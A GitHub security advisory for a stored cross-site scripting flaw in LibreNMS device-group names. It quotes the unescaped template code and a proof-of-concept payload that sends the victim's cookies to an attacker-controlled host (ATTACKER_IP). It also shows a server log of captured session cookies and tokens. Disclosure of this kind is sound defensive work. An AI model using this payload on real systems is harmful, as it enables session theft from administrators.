Skip to content

LibreNMS /device-groups name Stored Cross-Site Scripting

Moderate severity GitHub Reviewed Published Feb 17, 2026 in librenms/librenms • Updated Feb 20, 2026

Package

composer librenms/librenms (Composer)

Affected versions

< 26.2.0

Patched versions

26.2.0

Description

Summary

/device-groups name Stored Cross-Site Scripting

  • HTTP POST
  • Request-URI(s): "/device-groups"
  • Vulnerable parameter(s): "name"
  • Attacker must be authenticated with "admin" privileges.
  • When a user adds a device group, an HTTP POST request is sent to the Request-URI "/device-groups". The name of the newly created device group is stored in the value of the name parameter.
  • After the device group is created, the entry is displayed along with some relevant buttons like Rediscover Devices, Edit, and Delete.

Details

The vulnerability exists as the name of the device group is not sanitized of HTML/JavaScript-related characters
or strings. When the delete button is rendered, the following template is used to render the page:

resources/views/device-group/index.blade.php:

@section('title', __('Device Groups'))
@section('content')
<div class="container-fluid">
<x-panel id="manage-device-groups-panel">
// [...Truncated...]
@foreach($device_groups as $device_group)
// [...Truncated...]

<button type="button" class="btn btn-danger btn-
sm" title="{{ __('delete Device Group') }}" aria-label="{{ __('Delete') }}"
onclick="delete_dg(this, '{{$device_group->name }}', '{{ route('device-groups.destroy', $device_group->id)
}}')"> // using the device's name in the Delete button functionality without
sanitizing for XSS related characters/strings

As the device's name is not sanitized of HTML/JavaScript-related characters or strings, this can result in stored
cross-site scripting.

PoC

  • Login
  • Select Devices > Manage Groups
  • Select New Device Group
  • Input 12345');var pt=new Image();pt.src='http://<ATTACKER_IP>/cookie-
  • '.concat(document.cookie);document.body.appendChild(pt);delete_dg(this, '12345 into
  • the "Name" input box (change <ATTACKER_IP> to be an the IP of an attacker controlled webserver)
  • Select "access_points.accesspoint_id" as the Conditional input
  • Input 1 into the Conditional value input box
  • Select Save
  • Select the Delete Icon for the newly created Device Group
  • Select OK
  • The JavaScript payload is not sanitized and an HTTP request will be sent to the attacker controlled
  • server, leaking the user's cookies.

Impact

Attacker Controlled server's logs:

192.168.1.96 - - [10/Feb/2026:13:32:25 -0600] "GET /cookie-
jqCookieJar_options=%7B%7D;%20SWIFT_cookieconsent=dismiss;%20CookieAuth=%5B%22emai

l%40email.c.com%22%2C%22%242y%2410%24zI.%5C%2F5BHghPssddSOjH6.Eek%5C%2F0hQNm8DewYh

LnQxXHlpw3abw4C74y%22%5D;%20XSRF-
TOKEN=eyJpdiI6InkrSlpHNFZ3TjRXbXl5clQ2ZVBHOFE9PSIsInZhbHVlIjoiZTROUHRCcGhYRGU4dVJL

Z2RUUTZ5VXlGZElMNjZoT0E2cGRNZzVDRmtVWTg5YTBGNzdpTU83YU1EZ3E3Tk1BTm5tNjYxTExUV1Z0Mj
BLNUlqOVl4MlpGL21xdHh3MUJwYm1zT1RaQXJwR0w5YmVXTkdKQWNXUkNvL1J2SzVtcWMiLCJtYWMiOiI0
ZTc4YjVmMjhiYjc3YTA2MDI5NjJkOTgzMTJlYmVkNGVhOTg0ZjE4ZjRlMzY1NmFlMjNiNmUyNzhlN2QwOG
I4IiwidGFnIjoiIn0%3D HTTP/1.1" 404 492 "http://192.168.1.121/" "Mozilla/5.0
(Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/144.0.0.0 Safari/537.36"

References

@murrant murrant published to librenms/librenms Feb 17, 2026
Published to the GitHub Advisory Database Feb 18, 2026
Reviewed Feb 18, 2026
Published by the National Vulnerability Database Feb 20, 2026
Last updated Feb 20, 2026

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Network
Attack Complexity Low
Attack Requirements None
Privileges Required Low
User interaction Passive
Vulnerable System Impact Metrics
Confidentiality Low
Integrity Low
Availability None
Subsequent System Impact Metrics
Confidentiality Low
Integrity Low
Availability None

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(2nd percentile)

Weaknesses

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users. Learn more on MITRE.

CVE ID

CVE-2026-26991

GHSA ID

GHSA-5pqf-54qp-32wx

Source code

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.